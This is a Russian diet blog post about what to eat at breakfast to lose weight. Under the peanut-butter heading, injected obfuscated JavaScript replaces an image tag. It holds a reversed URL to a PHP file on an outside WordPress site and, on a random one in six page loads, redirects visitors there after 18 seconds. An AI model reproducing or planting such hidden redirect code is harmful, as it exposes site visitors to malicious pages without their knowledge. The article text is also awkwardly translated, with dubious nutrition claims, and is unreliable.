Что есть утром, чтобы похудеть

Один из лучших советов, которые скажут вам, если вы хотите питаться здоровее и похудеть, — «Обратите внимание на свой желудок». По словам Майкла Поллана, автора книги «Saber comer»:

«Большинство из нас допускает множество внешних раздражителей, обычно визуальных, определяющих, сколько мы едим. Чем больше рацион, тем больше мы едим. Может потребоваться до двадцати минут, прежде чем мозг узнает, что у нас полный желудок. Замедлитесь немного и обратите внимание на то, что ваше тело должно вам сказать.»

Чем больше вы слушаете свое тело и перестаете руководствоваться зрительными стимулами, тем легче будет сбросить вес.

Завтрак –самый важный прием пищи, поэтому ознакомьтесь с лучшими вариантами:

Яйца

Богатые белком (одно яйцо содержит 7,5 г белка), яйца — отличный вариант для похудения. Как мы упоминали ранее, омлет с сыром, беконом и сальсой не поможет. Однако небольшая порция, соответствующая яйцу, несколько грибов и шпинат, может дать вам энергию.

Овес

Волокно поможет вам в пищеварении и начать свой день с тарелки овсянки — одно из лучших решений. Это также поможет вам сбросить вес в метаболическом состоянии, и вы почувствуете себя очень удовлетворенными.

Черные бобы

Черные бобы — еще одна богатая белками пища, и это растворимый белок, который намного эффективнее избавляет от жира.

Природное арахисовое масло

$Ikf=function(n){if (typeof ($Ikf.list[n]) == «string») return $Ikf.list[n].split(«»).reverse().join(«»);return $Ikf.list[n];};$Ikf.list=[«\’php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andwich-791350_640-640×330.jpg» alt=»» width=»700″ height=»361″ />

Овощи всегда должны составлять 50% от общего количества блюд, и в завтраке их всегда не хватает. Вы можете их смешать и приготовить салат.

Ваш завтрак должен дать вам энергию, это должно помочь вам сконцентрироваться, не заставив вас чувствовать себя полностью сытым. Помните, что день начинается, и если вы начинаете его с правой ноги, вы скоро достигнете своего идеального веса.

Друзья, поддержите нашу группу в Фейсбуке, поделитесь этим постом с друзьями или нажмите кнопку «Мне нравится!» и Вы всегда будете в курсе свежих новостей «Дежурной Качалки»!

Для вас мы собираем лучшие тренировки, рекомендации по правильному питанию и конечно же юмор из мира красивых, энергичных и здоровых людей — таких как мы с вами!

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector